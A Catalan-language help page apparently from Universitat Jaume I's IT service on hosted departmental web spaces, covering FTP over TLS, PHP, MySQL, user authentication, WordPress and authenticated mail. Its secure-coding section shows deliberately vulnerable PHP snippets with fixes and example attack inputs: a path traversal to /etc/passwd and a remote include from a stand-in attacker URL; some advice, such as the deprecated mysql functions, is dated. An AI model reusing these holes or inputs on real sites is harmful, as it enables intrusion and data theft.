Espais cedits

Instruccions

Els departaments, centres, instituts, grups d'investigació i altres entitats vinculades poden sol·licitar espai als servidors centrals de la Universitat per a albergar les seues pàgines web. Podeu consultar els Criteris de cessió d'espais cedits Web i després seguir aquestes instruccions.

AVIS important:

1. Cada espai disposarà de **2GB** inicialment,encara que es podrà demanar més espai (veure l'apartat "Petició de" i trieu l'opció "augmentar la quota d'emmagatzematge"). També us recordem que aquest servidor està dimensionat per a allotjar contingut relacionat amb la publicació web estrictament (pàgines web, bases de dades, etc.), amb la qual cosa, no es pot gastar per emmagatzemar altres continguts **NO destinats a aquesta finalitat** (còpies, etc.).
2. El Servei d'Informàtica es reserva el dret de **tancar l'espai web** en cas de **superar la quota** o **usar-lo per a altres fins no autoritzats.**
3. El Servei d'Informàtica **NO dona suport** al programari desenvolupat pels propis propietaris de l'espai cedit o per tercers.

Des del Servei d'Informàtica s'ha posat en funcionament un servei de hosting per a albergar els espais cedits corresponents a grups d'investigació, departaments, serveis i altres entitats que necesiten publicar informació en la web amb caracter propi i independent d'aquella informació que apareix al Portal de la UJI.

Introducció

Característiques bàsiques

Els avantatges principals d'usar aquest servei són:

- Còpia automàtica (backup).
- Diverses ferramentes a l'abast de tots els espais (sistema de prevenció d'atacs, accés interactiu, base de dades, plantilles, estadístiques, blocs i suport de diverses versions de PHP), llibreries i mòduls d'autentificació d'usuaris de la Universitat Jaume I, certificats per a servidors web segurs, etc. (Existeix la possibilitat de demanar altres ferramentes addicionals a aquestes, i, en cas de ser factible la seua instal·lació, es posarà a l'abast de tots els espais).
- Opcionalment cada espai cedit pot disposar d'un bloc basat en el programari WordPress.
- Utilitat per a canviar la clau d'accés de l'usuari ftp
- Opcionalment un espai cedit pot disposar de certificat digital per tal de servir el contingut de forma segura entre l'espai cedit i el visitant. Per tal de sol.licitar aquesta característica haureu de tramitar-ho mijançant un CAU.

Compte FTP i Host Virtual

L'adreça que es facilita a l'espai cedit és un "Host Virtual" dins del domini de la Universitat Jaume I. Per la qual cosa, l'adreça definitiva d'accés a l'espai cedit serà la següent:
- http://<*espai_cedit*>.uji.es (on *espai_cedit* pot tindre la sintaxi '*http://www.nom.uji.es*' o simplement '*http://nom.uji.es*').

Les pàgines web hauran d'ubicar-se al directori "htdocs". L'adreça de connexió al servidor ftp, serà la mateixa que la de l'accés per navegador a l'espai cedit. Normalment:

- ftp://<*espai_cedit*>.uji.es

- **El nom del servidor <*espai_cedit*>.uji.es**

- **Port de conexió deixar en blanc**
- **El nom d'usuari i la clau d'accés se subministra quan es demana l'espai cedit.**
- **Si voleu canviar la clau d'accés subministrada** polseu ací**.**
- **Qualsevol modificació sobre l'espai cedit** (crear/eliminar base de dades, canviar Responsable o Persona de contacte, donar/eliminar accessos SSH, etc.) s'ha de comunicar amb el SPI - Modificació dels serveis d'un espai web**, ho ha de fer el Responsable del site. No s'atendran si vénen de terceres persones.**

Per a connectar-se per ftp us recomanem utilitzar el clients com ara **FileZilla** o **WINSCP**.

És obligatori que el client d'FTP siga capaç de negociar una connexió segura SSL/TLS (trovareu esta configuració a clients com fileZilla o WinSCP al gestor de llocs amb una descripció pareguda a "Requerix FTP explícit sota TLS").

Execució del programari

Només es permet l'execució d'scripts en PHP (extensions .php, .php5), no es podran executar scripts en *perl*, *python* y/o *shell script*. Ací teniu uns exemples en aquest llenguatge de programació:

PHP (http://www.php.net)

Quan programeu una aplicació web és molt recomanable seguir aquestes recomanacions. Es tracta de recomanacions per a PHP però són aplicables a qualsevol altre llenguatge de programació:

- **Initzialització de variables:** és imprescindible inicialitzar cada variable que s'utlitze dins de l'script, per tal que no siga inicialitzada per tercers invocant la URL de l'script amb GET o POST. Es a dir, algun podria invocar l'script enviant-li un valor de la variable falç si coneix el nom de la mateixa. Considereu aquest fragment que no inicialitza la variable *superusuario*:

```
<?php
        if (comprueba_privilegios()){
                $superusuario = true;
        }
        ...
?>
```

- Algú si coneix esta variable podria cridar l'script així *http://www..uji.es/example.php?superusuario=true* i convertir-se en *superusuario*. Aquest fragment ja soluciona la fallada de seguretat:

```
<?php
        $superusuario = false;
        if (comprueba_privilegios()){
                $superusuario = true;
        }
        ...
?>
```

- **Recollida dels valors:** les variables que arriben pel mètode GET, POST o COOKIE, normalment són enregistrades com variables globals, de forma que invocant-les directament ja tenim acces al seu valor. Esta és una forma de treballar no recomanable, ja que podem caure una altra vegada en un error similar al d'abans, amb la qual cosa, hauríem de recurrir a altres mètodes per recollir les variables, com ara *$_GET['superusuario']* si ens arriba per GET, *$_POST['superusuario']* si ens arriba per POST, *$_COOKIE ['superusuario']* si ens arriba en forma de cookie, o *$_REQUEST['superusuario']*, que és la forma universal d'accedir, siga quin siga el mètode.

- **Acces a arxius:** imaginem que tenim una variable *$nom_usuari* que conté el nom de l'usuari despres d'autenticar-se en algun lloc, i que volem carregar una salutació segons qui siga de la següent forma:

```
<?php
        include ("/usr/local/lib/salutacions/$nom_usuari");
...
```

Alguna mala persona podria passar en el *$nom_usuari* el valor *../../../../etc/passwd* o *../../algun/arxiu/secret/important.txt* i accedir al contingut amb dades sensibles. Este cas es pot corregir usant la funció *realpath($nom_usuari)* la qual cosa elimina els *..* indeseables. Un altre cas podria ser el del següent script que fa al mateix però està codificat així:

```
<?php
        chdir ("/usr/local/lib/salutacions");
        include ($nom_usuari);
        ...
?>
```

La mateixa mala persona podria passar-li a l'script com a valor de *$nom_usuari* una URL amb codi PHP, per exemple: - http://www.elmalo.com/codigo_malicioso.php (*http://www..uji.es/example.php nom_usuari=http://www.elmalo.com/codigo_malicioso.php*), resultant en que el nostre script inclou el contingut de l'script remot i executant les sentències malignes. La solució passa per utilitzar les funcions *realpath()* o *basename()*.

- **Altres:** no useu dades proporcionats per l'usuari, normalment de formularis, com a paràmetres de funcions com *eval()*, *preg_replace()* amb l'opció */e*, o comandos de sistema com ara *exec()*, *system()*, *popen()*, *passthru()* o l'operador `, ja que podria acabar executant en el sistema ordres no desitjades.

  També és especialment perillos recollir dades proporcionades per l'usuari per a confeccionar una sentència SQL o *query*. Al repecte haurem d'usar les funcions *mysql_real_escape_string()*, *addslashes()* i *stripslashes()*, per tal d'eliminar caràcters sensibles que podrien facilitar a l'usuri alterar la *query*.

- **Mes informació:** llibre *"*Programming PHP*",* Editorial O'Reilly, Rasmus Lerdorf & Kevin Tatroe, i una documentació completa de les funcions disponibles en aquest llenguatge de programació, a les següents pàgines web:
- http://www.php.net
- http://es.php.net

Estadístiques setmanals

Tots els espais cedits disposen d'una pàgina on es poden consultar les estadístiques setmanals d'accessos a l'espai cedit. L'adreça d'accés a aquestes estadístiques és la següent:

- **http://<***nom_del_espai_cedit***>.uji.es/stats/**

Aquestes estadístiques ens mostren una relació d'accessos web al nostre espai, amb les següents característiques:

- Resum d'accesos (nombre de visitants, visites, fulles, sol.licitudsi tràfic). Accesibles per dia, setmana, mes i per any.
- Detalls de que accedeix (pîum;sos, servidors i robots).
- Detalls de navegació (duració de visites, fulles d'entrada i d'eixida, tipus d'arxius servits, URLs o fulles accedides, sistemes operatius i navegadors).
- Enllaços (enllaços externs, des de buscadors i paraules que se busquen en recerques).
- Altres (afegit a favorits, codis d'error HTTP per fulles no trobades, detalls d'acces des de la xarxa de l'UJI).

Es pot observar que hi ha gran quantitat de paràmetres, encara que en la majoria dels casos només ens interessaran els següents:

- **Nombre de visites:** cada visita es correspon en un conjunt d'accesos d'una mateixa persona durant un període de temps (1 hora).
- **Fulles:** nombre d'accessos a pàgines HTML.
- **Sol.licituds:** fa referència al nombre de *hits*, on cada hit és un accés a cada element d'una URL o fulla (imatges, elements multimèdia, etc).

Podeu veure un exemple d'aquesta informació accedint a la URL esmentada abans, on podreu trobar ajuda contextual.

També es disposa de l'opció de rebre aquestes estadístiques per correu electrònic. En aquest cas, heu de comunicar-nos-ho fent un comunicat C AU.

Base de dades.

Es pot fer ús d'una base de dades *Mysql* (http://www.mysql.com) dins de l'espai cedit. Es pot consultar, inserir, modificar i eliminar la informació emmagatzemada en aquesta base de dades mitjançant qualsevol llenguatge de *script* d'aquells que hem comentat abans. Un exemple d'accés a la base de dades fet amb PHP podria ser el següent:

```
<html>
 <body>
 <?
  $mysql_id  = mysql_connect("localhost","usuari","password");
  $resultado = mysql_db_query("bd", "select * from profesores", $mysql_id);
  echo "<table border=1 width=40% align=center>";
  while ($reg = mysql_fetch_object($resultado)) {
   echo "<tr>";
    echo "<td>".$reg->nombre."</td>";
    echo "<td>".$reg->despacho."</td>";
    echo "<td>".$reg->telefono."</td>";
    echo "<tr>";
  }
  echo "</table>";
  mysql_close($mysql_id);
 ?>
 </body>
 </html>
```

Aquest exemple fa una connexió a la base de dades mysql, fa una consulta *SQL*, i mostra el resultat de la consulta a una taula HTML. Podeu trobar més informació de les funcions d'accés a Bases de Dades *Mysql* del *PHP* en aquesta adreça: http://www.php.net/manual/en/ref.mysql.php
Per a gestionar l'estructura i informació d'aquesta Base de Dades, també s'ofereix un entorn visual de gestió de Bases de Dades *mysql*. La URL d'accés a aquest entorn és la següent:

- **http://<***nom_espai_cedit***>.uji.es/phpmyadmin**

Per a accedir a la gestió cal autenticar-se amb l'usuari i la clau d'accés del sistema.

Per a fer ús d'aquesta Base de Dades i les seues ferramentes, heu de sol·licitar el servei fent un CAU.

Validació d'usuaris de la Universitat Jaume I

Es posa a disposició de qualsevol espai cedit una llibreria d'autenticació d'usuaris, que ens permet validar l'accés i mantindre sessió a l'espai cedit (o a una part d'aquest) amb usuaris de la Universitat Jaume I.

Per a fer ús de la llibreria, és necessari utilitzar el llenguatge de programació *PHP.*
Les tres funcions principals són:

1. lsm_login(URL, SERVIDOR), on URL: és opcional i indica on s'ha de tornar quan la persona estiga autenticada. Si no es posa res, tornarem al mateix script. SERVIDOR: és opcional, indica el servidor on validar la persona (nuvol.uji.es o anubis.uji.es). Si no es posa res intentarà validar en el servidor adequat en funció del nom d'usuari.
2. lsm_logout(URL), on URL: és opcional i indica on s'ha de tornar quan la persona haja sortit de la sessió. Si no es posa res, tornarem al mateix script.
3. lsm_get_login(), que torna el nom d'usuari que s'ha autenticat exitosament o una cadena buïda en cas contrari.

Exemples:

```
<?PHP
 //Exemple en PHP per validar usuaris
 //S'ha d'incloure este codi al principi
 //de cada script que necessite autenticació.

 require_once("lsm/lsm.inc.php");

 if (isset($logout)){
        lsm_logout();
 }else{
        lsm_login("");
        $login = lsm_get_login();
        echo "<html>Validat.El teu login :".$login." Ací ja es pot posar
el contingut privat.";
        echo "<a href=\"".$PHP_SELF."?logout=yes\">Sortir</a></html>";
 }
 ?>
```

Existeix una segona opció per autenticar usuaris de la Universitat a eines de tercers instal.lades a qualsevol espai cedit. Es tracta d'usar SAML2 com a protocol d'intercanvi de asercions que facilita a una eina delegar l'autenticació a un Identity Provider (IdP) com ara l'SSO de la Universitat. Aquesta segona opció és preferible a l'us de la llibreria exposada anteriorment donat que es tracta d'un estàndard i resulta mñes factible l'integració amb tot aquell programari que el suporte. Es recomana simplesamlphp com a programari per facilitar la integració amb l'IdP.

En qualsevol dels dos casos haureu de sol.licitar la delegació d'autenticació via CAU, indicant quin és el programari a integrar, i una vegada rebut estudiarem la seua viabilitat.

Servei de Bloc

Aquest programari es basa en el gestor de blocs anomenat *WordPress*, molt conegut i que us podreu trobar en múltiples llocs. A més, la documentació és molt completa.

L'adreça per accedir a l'administració del vostre bloc és la mateixa que la de l'espai que haveu demanat, afegint al final "**/bloc/wp-admin/**", per exemple:

- *http://<nom_del_espai_cedit>.uji.es/***bloc/wp-admin/**

Les credencials que heu d'usar són les mateixes que usareu per accedir via ftp. Per tal de vore les entrades de la nostra bitàcola simplement afegim "**/bloc/**" al final de l'adreça del nostre espai. Per exemple:

- *http://<nom_del_espai_cedit>.uji.es/***bloc**

Enviament de correu

L'enviament de correu a través del servidor de correu que tenim habilitat en la màquina d'espais cedits s'ha de fer de manera autenticada per evitar riscos de propagació de virus i spam davant d'un accés no autoritzat a un dels comptes dels espais cedits. El següent codi font exposa una funció d'exemple per tal d'enviar correu autenticat (usant les credencials de l'usuari de l'espai cedit):

```php
<?php

set_include_path("/usr/share/php/PHPMailer");

require_once("PHPMailerAutoload.php");


function authMail($destino, $tema , $bodymail, $from, $usuario, $passwd) {

        $mail = new PHPMailer();
        $mail->IsSMTP();
        $mail->CharSet = 'UTF-8';

        $mail->Host       = "localhost";
        $mail->SMTPDebug  = 0;
        $mail->SMTPAuth   = true;
        $mail->Port       = 25;
        $mail->Username   = $usuario;
        $mail->Password   = $passwd;

        $mail->From = $from;
        $mail->FromName = $from;
        $mail->addAddress($destino);
        $mail->Subject = $tema;
        $mail->Body = $bodymail;

        if(!$mail->send())
        {
            return false;
        }
        else
        {
            return true;
        }

}
```

2. Es pot utilitzar qualsevol eina més completa d'enviament de correu. Posem a la vostra disposició diversos enllaços a les eines de gestió de continguts que solen ser més utilitzades.

- **WORDPRESS**
  Si has instal·lat la teua la versió de WordPress necessitaràs instal·lar el següent plugin polsant en aquest enllaç, WP Mail SMTP: wordpress.org/extend/plugins/wp-mail-smtp

- **Configuració per a enviar correus utilitzant WP Mail SMTP**
  En l'opció "Ajustes", seleccionar "Email". A continuació cal configurar les dades del servidor SMTP que necessitem utilitzar. Per a poder realitzar enviaments de correus des del WordPress utilitzant el SMTP de la Universitat Jaume I hauràs d'indicar les següents dades de configuració del servidor.

```
Mailer: Send all WordPress emails via SMTP.
 SMTP Host: localhost
 SMTP Port: 25
 Encryption: No encryption
 Authentication: Yes: Use SMTP authentication

 Username: El nom d'usuari que es va facilitar al sol- licitar
l'espai cedit.
 Clau d'accés: La clau que es va facilitar al sol- licitar l'espai
cedit.
```

- **PHPMAILER**
  phpmailer.worxware.com/index.php?pg=exampleasmtp
- **JOOMLA**
  help.joomla.org/content/view/51/153/1/7/
- **PHPBB3 (3.2.2.2. Email settings)**
  www.phpbb.com/support/documentation/3.0/adminguide/acp_general.php
- **MAHARA**
  You need to set this in config.php ? look for and edit the following:
  // mail handling
  // if you want mahara to use smtp servers to send mail, enter one or more here
  // blank means mahara will use the default PHP method.
  //$cfg->smtphosts = ?xxx.xxx.xxx.xxx?;
  // If you have specified an smtp server above, and the server requires authentication,
  // enter them here
  // $cfg->smtpuser = ?;
  // $cfg->smtppass = ?;
- **MOODLE**
  docs.moodle.org/en/Email_settings
- **DRUPAL**
  drupal.org/project/smtp